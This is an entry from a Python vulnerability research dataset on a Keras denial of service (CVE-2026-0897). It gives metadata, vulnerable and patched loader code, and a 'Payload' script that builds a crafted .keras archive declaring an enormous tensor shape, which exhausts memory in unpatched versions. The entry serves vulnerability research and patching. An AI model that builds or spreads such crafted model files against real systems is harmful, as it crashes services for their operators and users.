VAITP Dataset

← Back to the dataset

CVE-2026-0897

DoS in Keras HDF5 loading via memory exhaustion from a crafted model file.

  • CVSS 7.1
  • CWE-770
  • Resource Management
  • Remote

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.

CVSS base score
7.1
Published
2026-01-15
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Google Keras
Fixed by upgrading
Yes

Solution

Upgrade to Keras version 3.14.0 or later.

Vulnerable code sample

import h5py
import numpy as np
import os

def create_malicious_h5_file(filepath):
    """Creates an HDF5 file with a dataset declaring an extremely large shape."""
    # This shape (e.g., 100k x 100k x 100) would require terabytes of RAM.
    # A real attack could use even larger dimensions.
    malicious_shape = (100000, 100000, 100)
    
    with h5py.File(filepath, 'w') as f:
        # The vulnerability is triggered because the shape is stored in the
        # metadata, but the actual data is not allocated on disk.
        # The file size remains very small.
        f.create_dataset('model_weights/dense/kernel:0', shape=malicious_shape, dtype='float32')

def vulnerable_keras_weight_loader(filepath):
    """
    Simulates the vulnerable weight loading process before the fix.
    It reads the dataset shape from the HDF5 file and attempts to allocate
    memory for it without any size checks or throttling.
    """
    print(f"Attempting to load weights from: {filepath}")
    with h5py.File(filepath, 'r') as f:
        for weight_name in f.keys():
            dataset_group = f[weight_name]
            for param_name in dataset_group.keys():
                dataset = dataset_group[param_name]
                shape = dataset.shape
                dtype = dataset.dtype
                
                print(f"Found weight '{weight_name}/{param_name}' with declared shape: {shape}")
                print("Attempting to allocate memory for this shape...")
                
                # VULNERABLE STEP: Memory is allocated based on the shape in the
                # file's metadata without any validation. This will cause a
                # MemoryError for the malicious shape, leading to a DoS.
                try:
                    _ = np.zeros(shape, dtype=dtype)
                    print("Memory allocated successfully (this should not happen for a malicious file).")
                except MemoryError:
                    print("MemoryError caught! The process would crash here due to memory exhaustion.")
                    # In a real unpatched environment, there is no try/except,
                    # and the Python interpreter crashes immediately.
                    raise

# --- Demonstration ---
malicious_file_path = 'crafted_malicious_model.weights.h5'

# 1. An attacker creates and distributes a malicious model file.
create_malicious_h5_file(malicious_file_path)
print(f"Malicious file '{malicious_file_path}' created. Size on disk: {os.path.getsize(malicious_file_path)} bytes.")

# 2. A victim attempts to load the malicious model using a vulnerable Keras version.
try:
    vulnerable_keras_weight_loader(malicious_file_path)
except MemoryError:
    print("\nDemonstration complete: The vulnerable code path led to a MemoryError, simulating the DoS.")
finally:
    # 3. Clean up the created file.
    if os.path.exists(malicious_file_path):
        os.remove(malicious_file_path)
        print(f"Cleaned up '{malicious_file_path}'.")

Patched code sample

import h5py
import numpy as np
import os

# This represents the maximum size for a single weight tensor that the loader
# will attempt to allocate. The original vulnerability had no such limit.
# Set to 1 GB for this demonstration.
MAX_TENSOR_SIZE_IN_BYTES = 1 * 1024 * 1024 * 1024

def create_malicious_h5_file(path, reported_shape):
    """Creates an HDF5 file with a dataset of a huge, but non-allocated, shape."""
    with h5py.File(path, 'w') as f:
        # Create a dataset with an extremely large shape.
        # HDF5 allows creating a virtual dataset where the storage space
        # is not immediately allocated, which is the core of the exploit.
        f.create_dataset('malicious_weight', shape=reported_shape, dtype='float32')

def vulnerable_load_weights(h5_group):
    """
    This function simulates the original vulnerable behavior.
    It attempts to load any dataset into a numpy array without checking its shape/size first.
    """
    weights = []
    for name, dataset in h5_group.items():
        # The vulnerable line: np.array() tries to allocate memory for the
        # dataset's reported shape, causing a crash if the shape is huge.
        weights.append(np.array(dataset))
    return weights

def fixed_load_weights(h5_group):
    """
    This function demonstrates the fix for the vulnerability.
    It checks the declared shape of a dataset and calculates its potential
    memory footprint before attempting to load it into memory.
    """
    weights = []
    for name, dataset in h5_group.items():
        # THE FIX STARTS HERE
        shape = dataset.shape
        if not shape:  # Handle scalar weights
            num_elements = 1
        else:
            num_elements = np.prod(shape)

        # Calculate the expected size in bytes
        expected_size = num_elements * dataset.dtype.itemsize

        if expected_size > MAX_TENSOR_SIZE_IN_BYTES:
            raise ValueError(
                f"Refusing to load weight tensor '{name}' of shape {shape}. "
                f"The tensor would require {expected_size / 1e9:.2f} GB of memory, "
                f"which exceeds the safety limit of "
                f"{MAX_TENSOR_SIZE_IN_BYTES / 1e9:.2f} GB. "
                "This is a safety measure to prevent potential DoS attacks "
                "via memory exhaustion."
            )
        # THE FIX ENDS HERE

        # If the check passes, the weight is loaded safely.
        weights.append(np.array(dataset))
    return weights

if __name__ == '__main__':
    # A shape that would require ~256 GB of RAM if loaded (2^36 * 4 bytes)
    malicious_shape = (2**18, 2**18)
    file_path = "malicious_model.h5"

    print(f"Creating a malicious HDF5 file at '{file_path}'...")
    print(f"It will report a dataset of shape {malicious_shape}.")
    create_malicious_h5_file(file_path, malicious_shape)
    print("-" * 30)

    # --- Demonstrate the fix ---
    print("Attempting to load weights with the FIXED function...")
    try:
        with h5py.File(file_path, 'r') as f:
            fixed_load_weights(f)
    except ValueError as e:
        print(f"SUCCESS: The fixed function correctly prevented loading.")
        print(f"Caught expected error: {e}")
    except MemoryError:
        print("FAILURE: The fixed function still crashed with a MemoryError.")
    print("-" * 30)


    # --- Demonstrate the vulnerability (USE WITH CAUTION) ---
    # This part will likely crash your Python interpreter due to memory exhaustion.
    # It is disabled by default. Uncomment at your own risk.
    
    # print("ATTEMPTING TO LOAD WEIGHTS WITH THE VULNERABLE FUNCTION.")
    # print("WARNING: This will likely exhaust your system's memory and CRASH the script.")
    # confirm = input("Type 'yes' to proceed: ")
    # if confirm.lower() == 'yes':
    #     try:
    #         with h5py.File(file_path, 'r') as f:
    #             # This call will attempt to allocate a massive amount of memory
    #             vulnerable_load_weights(f)
    #     except MemoryError:
    #         # You will most likely see the OS kill the process before this prints.
    #         print("Caught a MemoryError, but the process was likely already unstable.")
    #     except Exception as e:
    #         print(f"An unexpected error occurred: {e}")
    # else:
    #     print("Skipping demonstration of the vulnerability.")


    # Clean up the created file
    if os.path.exists(file_path):
        os.remove(file_path)
        print(f"\nCleaned up '{file_path}'.")

Payload

import h5py
import zipfile
import json
import os

# Define the names for the files to be created
h5_filename = 'model.weights.h5'
config_filename = 'config.json'
metadata_filename = 'metadata.json'
zip_filename = 'cve-2026-0897-payload.keras'

# 1. Create a malicious HDF5 weights file
# The vulnerability is triggered by a dataset with an extremely large shape declaration,
# which causes Keras to attempt a massive memory allocation.
with h5py.File(h5_filename, 'w') as f:
    # A typical Keras model has groups for layers. We create one for plausible structure.
    layer_group = f.create_group('layer_0')
    
    # Define an extremely large shape. (2**30, 2**30, 3) would request
    # an amount of memory far exceeding any available system resources.
    malicious_shape = (2**30, 2**30, 3)
    
    # Create the dataset with the malicious shape. The actual data is not written,
    # only the metadata (including the shape) is stored in the HDF5 file.
    # This is the core of the exploit.
    layer_group.create_dataset('weights', shape=malicious_shape, dtype='float32')

# 2. Create a minimal model configuration file (config.json)
# This file is required for the .keras archive to be considered valid.
config_data = {
    "class_name": "Model",
    "config": {
        "name": "poc_model",
        "layers": [
            {
                "name": "layer_0",
                "class_name": "InputLayer",
                "config": {
                    "batch_input_shape": [None, 1],
                    "dtype": "float32",
                    "sparse": False,
                    "ragged": False,
                    "name": "layer_0"
                }
            }
        ]
    },
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}
with open(config_filename, 'w') as f:
    json.dump(config_data, f)

# 3. Create a minimal metadata file (metadata.json)
# Also required for the archive structure.
metadata_data = {
    "keras_version": "3.0.0"
}
with open(metadata_filename, 'w') as f:
    json.dump(metadata_data, f)

# 4. Package all files into a .keras (zip) archive
with zipfile.ZipFile(zip_filename, 'w') as zf:
    zf.write(config_filename)
    zf.write(h5_filename, 'model.weights.h5') # The path inside the zip must be correct
    zf.write(metadata_filename)

# 5. Clean up the temporary files
os.remove(h5_filename)
os.remove(config_filename)
os.remove(metadata_filename)

print(f"Payload created: {zip_filename}")

Cite this entry

@misc{vaitp:cve20260897,
  title        = {{DoS in Keras HDF5 loading via memory exhaustion from a crafted model file.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-0897},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-0897/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::